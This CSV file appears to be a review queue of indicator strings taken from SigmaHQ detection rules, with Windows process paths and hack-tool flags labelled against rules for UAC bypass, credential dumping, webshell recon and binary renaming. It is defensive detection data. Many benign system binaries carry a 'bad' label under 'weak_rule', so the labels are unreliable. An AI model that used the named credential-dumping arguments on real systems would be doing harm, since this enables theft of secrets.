e8826730e510a0374fd1fb43,C:\\WINDOWS\\system32\\\*.bat,C:\\WINDOWS\\system32\\\*.bat,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml,Hiding Files with Attrib.exe,process_creation,"[""attack.defense-evasion"", ""attack.t1564.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3949451b643e97d8db6d6e16,C:\Windows\System32\cmd.exe,C:\Windows\System32\cmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_mssql_susp_child_process.yml,Suspicious Child Process Of SQL Server,process_creation,"[""attack.t1505.003"", ""attack.t1190"", ""attack.initial-access"", ""attack.persistence"", ""attack.privilege-escalation""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e14930ee43c116a77f010899,C:\Windows\System32\control.exe,C:\Windows\System32\control.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml,Potentially Suspicious Rundll32 Activity,process_creation,"[""attack.defense-evasion"", ""attack.t1218.011""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
489ba87b1f87deb1eaaa47da,C:\Program Files\Amazon\SSM\ssm-document-worker.exe,C:\Program Files\Amazon\SSM\ssm-document-worker.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml,Potential PowerShell Command Line Obfuscation,process_creation,"[""attack.execution"", ""attack.defense-evasion"", ""attack.t1027"", ""attack.t1059.001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
714a6d7237e90dc8b7dab011,C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule,C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml,UAC Bypass Using Disk Cleanup,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c7abe4705569f9022352a44,"""C:\Windows\system32\dism.exe"" /online /quiet /norestart /add-package /packagepath:""C:\Windows\system32\pe386"" /ignorecheck","""C:\Windows\system32\dism.exe"" /online /quiet /norestart /add-package /packagepath:""C:\Windows\system32\pe386"" /ignorecheck",bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_ntfs_reparse_point.yml,UAC Bypass Using NTFS Reparse Point - Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b3c26d0c96dd8f86431108f,:\$WINDOWS.~BT\Sources\SetupHost.exe,:\$WINDOWS.~BT\Sources\SetupHost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_non_interactive_execution.yml,Non Interactive PowerShell Process Spawned,process_creation,"[""attack.execution"", ""attack.t1059.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
66a76e51dc05f1a518a9f87a,Dbgview.exe,Dbgview.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_sysinternals_debugview.yml,Renamed SysInternals DebugView Execution,process_creation,"[""attack.resource-development"", ""attack.t1588.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
181a0093968053aad57b8d18,TeamViewer_Desktop.exe,TeamViewer_Desktop.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_remote_access_tools_teamviewer_incoming_connection.yml,Remote Access Tool - Team Viewer Session Started On Windows Host,process_creation,"[""attack.persistence"", ""attack.initial-access"", ""attack.t1133""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
39a1836e69edc4ca7af904ca,TeamViewer_Service.exe,TeamViewer_Service.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_remote_access_tools_teamviewer_incoming_connection.yml,Remote Access Tool - Team Viewer Session Started On Windows Host,process_creation,"[""attack.persistence"", ""attack.initial-access"", ""attack.t1133""]",windows,0.6,True,Sigma process_creation rule; status=test; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
14c30e94d12c84676ed1f48d,AutoIt.exe,AutoIt.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_autoit.yml,Renamed AutoIt Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04b204691b42d6581f4943a1,AutoIt2.exe,AutoIt2.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_autoit.yml,Renamed AutoIt Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa0b1bc9687a3dbc6be58362,AutoIt3.exe,AutoIt3.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_autoit.yml,Renamed AutoIt Execution,process_creation,"[""attack.defense-evasion"", ""attack.t1027""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2090fc49a3ae257367479103,C:\Windows\System32\cmd.exe,C:\Windows\System32\cmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml,Scripting/CommandLine Process Spawned Regsvr32,process_creation,"[""attack.defense-evasion"", ""attack.t1218.010""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59da3604169a617282ce6486,NirCmd.exe,NirCmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_nircmd.yml,Renamed NirCmd.EXE Execution,process_creation,"[""attack.execution"", ""attack.t1059"", ""attack.defense-evasion"", ""attack.t1202""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c6315eae88bcd364d75f2268,dllhost.exe,dllhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_dllhost_no_cli_execution.yml,Dllhost.EXE Execution Anomaly,process_creation,"[""attack.privilege-escalation"", ""attack.defense-evasion"", ""attack.t1055""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
94f75fcc99e5221126016560,C:\Windows\System32\winlogon.exe,C:\Windows\System32\winlogon.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_wlrmdr_uncommon_child_process.yml,Wlrmdr.EXE Uncommon Argument Or Child Process,process_creation,"[""attack.defense-evasion"", ""attack.t1218""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b4b1557069a0b53af87eeaa5,C:\Program Files\Git\mingw64\bin\curl.exe,C:\Program Files\Git\mingw64\bin\curl.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_curl_susp_download.yml,Suspicious Curl.EXE Download,process_creation,"[""attack.command-and-control"", ""attack.t1105""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2aea6e9742f34b0b812b9e8c,C:\Program Files\Git\usr\bin\sh.exe,C:\Program Files\Git\usr\bin\sh.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_curl_susp_download.yml,Suspicious Curl.EXE Download,process_creation,"[""attack.command-and-control"", ""attack.t1105""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
99a2fa7d062166044e7d1322,TpmVscMgr.exe,TpmVscMgr.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_tpmvscmgr_add_virtual_smartcard.yml,New Virtual Smart Card Created Via TpmVscMgr.EXE,process_creation,"[""attack.execution""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c4192a3b090bcafc0df2ed3,LODCTR.EXE,LODCTR.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_lodctr_performance_counter_tampering.yml,Rebuild Performance Counter Values Via Lodctr.EXE,process_creation,"[""attack.execution""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e965155a2f94f1c342b91a87,"""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" /s","""C:\Windows\system32\mmc.exe"" ""C:\Windows\system32\eventvwr.msc"" /s",bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml,UAC Bypass Using Windows Media Player - Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7800830383b1afede5d5a4c3,C:\Program Files\Windows Media Player\osk.exe,C:\Program Files\Windows Media Player\osk.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml,UAC Bypass Using Windows Media Player - Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9b1aeef818a98c6e5394372a,C:\Windows\System32\cmd.exe,C:\Windows\System32\cmd.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_wmp.yml,UAC Bypass Using Windows Media Player - Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0cfa3deb985407cb6eb0198,FINDSTR.EXE,FINDSTR.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_automated_collection.yml,Automated Collection Command Prompt,process_creation,"[""attack.collection"", ""attack.t1119"", ""attack.credential-access"", ""attack.t1552.001""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a980158e479c683bbe79d203,C:\Windows\SysWOW64\setup16.exe,C:\Windows\SysWOW64\setup16.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_setup16_custom_lst_execution.yml,Setup16.EXE Execution With Custom .Lst File,process_creation,"[""attack.privilege-escalation"", ""attack.persistence"", ""attack.defense-evasion"", ""attack.t1574.005""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc34680748b33614268b7040,C:\Windows\System32\conhost.exe,C:\Windows\System32\conhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_winrshost_command_execution.yml,Potential Lateral Movement via Windows Remote Shell,process_creation,"[""attack.lateral-movement"", ""attack.t1021.006""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd5070d2771a81ca6576bb31,7z.exe,7z.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
650265dabefc811f113bb376,7za.exe,7za.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a9340644c9ac71b7091d402,CONHOST.EXE,CONHOST.EXE,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16aae777b7d0083a7ae0a00c,Cmd.Exe,Cmd.Exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2e7a3b53d87df5f3b83ee6f4,InstallUtil.exe,InstallUtil.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed76b05f86437925c96ac164,WinRAR.exe,WinRAR.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bcf376124b5e8599ea4f55e6,net.exe,net.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
360094c260950d1ff29b5fdb,net1.exe,net1.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bf3e32d79ad82899492c91b8,netsh.exe,netsh.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
033e7b9d20872b9792171ee0,wevtutil.exe,wevtutil.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_binary.yml,Potential Defense Evasion Via Binary Rename,process_creation,"[""attack.defense-evasion"", ""attack.t1036.003""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a266863812341fc95a33827,popupwrapper.exe,popupwrapper.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_msix_ai_stub_execution.yml,Windows MSIX Package Support Framework AI_STUBS Execution,process_creation,"[""attack.defense-evasion"", ""attack.execution"", ""attack.t1218"", ""attack.t1553.005"", ""attack.t1204.002""]",windows,0.6,True,Sigma process_creation rule; status=experimental; level=low,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
85e568a6fdae06ed5d9c9c04,cscript.exe,cscript.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml,Script Interpreter Execution From Suspicious Folder,process_creation,"[""attack.execution"", ""attack.t1059""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1a0be5c301a89ed3d68e6558,mshta.exe,mshta.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml,Script Interpreter Execution From Suspicious Folder,process_creation,"[""attack.execution"", ""attack.t1059""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f4304950146405bea7819282,wscript.exe,wscript.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml,Script Interpreter Execution From Suspicious Folder,process_creation,"[""attack.execution"", ""attack.t1059""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8eb08ebb55960e874b6d4097,C:\Windows\System32\AppVClient.exe,C:\Windows\System32\AppVClient.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml,Mavinject Inject DLL Into Running Process,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1055.001"", ""attack.t1218.013""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bd1481df47d55dce4eb66eb8,net.exe,net.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml,Webshell Detection With Command Line Keywords,process_creation,"[""attack.persistence"", ""attack.discovery"", ""attack.t1505.003"", ""attack.t1018"", ""attack.t1033"", ""attack.t1087""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ba3dc90f947a08582cddac2,net1.exe,net1.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml,Webshell Detection With Command Line Keywords,process_creation,"[""attack.persistence"", ""attack.discovery"", ""attack.t1505.003"", ""attack.t1018"", ""attack.t1033"", ""attack.t1087""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40c1fbb4b75e5d373d3ee5aa,ping.exe,ping.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml,Webshell Detection With Command Line Keywords,process_creation,"[""attack.persistence"", ""attack.discovery"", ""attack.t1505.003"", ""attack.t1018"", ""attack.t1033"", ""attack.t1087""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fe7686dd40b82e5f2172a880,wmic.exe,wmic.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_webshell_recon_commands_and_processes.yml,Webshell Detection With Command Line Keywords,process_creation,"[""attack.persistence"", ""attack.discovery"", ""attack.t1505.003"", ""attack.t1018"", ""attack.t1033"", ""attack.t1087""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4ab082a5b87606a450ad9195,C:\Windows\SysWOW64\svchost.exe,C:\Windows\SysWOW64\svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution.yml,Suspicious Process Masquerading As SvcHost.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1036.005""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f49b14cd1fdc2a930a3b867c,C:\Windows\System32\svchost.exe,C:\Windows\System32\svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution.yml,Suspicious Process Masquerading As SvcHost.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1036.005""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cff2af065da040f8e15a02ee,svchost.exe,svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution.yml,Suspicious Process Masquerading As SvcHost.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1036.005""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a70be50f8b12ffcfe44cab7,BrowserCore.exe,BrowserCore.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml,Renamed BrowserCore.EXE Execution,process_creation,"[""attack.credential-access"", ""attack.defense-evasion"", ""attack.t1528"", ""attack.t1036.003""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
29241dee5b0728cd5aded185,C:\Windows\System32\msiexec.exe,C:\Windows\System32\msiexec.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_powershell_snapins_hafnium.yml,Exchange PowerShell Snap-Ins Usage,process_creation,"[""attack.execution"", ""attack.t1059.001"", ""attack.collection"", ""attack.t1114""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5ca003a92c233523d0446a34,C:\Windows\System32\lsass.exe,C:\Windows\System32\lsass.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_werfault_lsass_shtinkering.yml,Potential Credential Dumping Via WER,process_creation,"[""attack.credential-access"", ""attack.t1003.001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
431b270a18e7a568dc04277e,C:\Windows\System32\ComputerDefaults.exe,C:\Windows\System32\ComputerDefaults.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_uac_bypass_computerdefaults.yml,UAC Bypass Tools Using ComputerDefaults,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
42bc384fa4ee4d60e7df4a5d,sdelete.exe,sdelete.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_sysinternals_sdelete.yml,Potential File Overwrite Via Sysinternals SDelete,process_creation,"[""attack.impact"", ""attack.t1485""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6cc6228ba88f18b582e0da49,C:\WINDOWS\System32\svchost.exe,C:\WINDOWS\System32\svchost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_schtasks_powershell_persistence.yml,Potential Persistence Via Powershell Search Order Hijacking - Task,process_creation,"[""attack.privilege-escalation"", ""attack.execution"", ""attack.persistence"", ""attack.t1053.005"", ""attack.t1059.001""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4bd180435b01aef4f8fc8a22,C:\Windows\System32\services.exe,C:\Windows\System32\services.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml,Always Install Elevated Windows Installer,process_creation,"[""attack.defense-evasion"", ""attack.privilege-escalation"", ""attack.t1548.002""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
40381a30bd8603d13240fe83,C:\ProgramData\chocolatey\choco.exe,C:\ProgramData\chocolatey\choco.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml,Dynamic .NET Compilation Via Csc.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1027.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb670d1da54f8cd90ec0288c,C:\ProgramData\chocolatey\tools\shimgen.exe,C:\ProgramData\chocolatey\tools\shimgen.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml,Dynamic .NET Compilation Via Csc.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1027.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
836064cb1a562fdf16357bc5,C:\Windows\System32\inetsrv\w3wp.exe,C:\Windows\System32\inetsrv\w3wp.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml,Dynamic .NET Compilation Via Csc.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1027.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
006777575621a4b0bec3ac41,C:\Windows\System32\sdiagnhost.exe,C:\Windows\System32\sdiagnhost.exe,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_csc_susp_dynamic_compilation.yml,Dynamic .NET Compilation Via Csc.EXE,process_creation,"[""attack.defense-evasion"", ""attack.t1027.004""]",windows,0.6,True,Sigma process_creation rule; status=test; level=medium,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ed147a12a361ccea5614e032,--dump-bitlocker,--dump-bitlocker,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml,HackTool - Quarks PwDump Execution,process_creation,"[""attack.credential-access"", ""attack.t1003.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fa61eda8cc342e3455ef951b,--dump-hash-domain,--dump-hash-domain,bad,bad,plain,suspicious,weak_rule,sigma,SigmaHQ/sigma,rules/windows/process_creation/proc_creation_win_hktl_quarks_pwdump.yml,HackTool - Quarks PwDump Execution,process_creation,"[""attack.credential-access"", ""attack.t1003.002""]",windows,0.7,True,Sigma process_creation rule; status=test; level=high,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
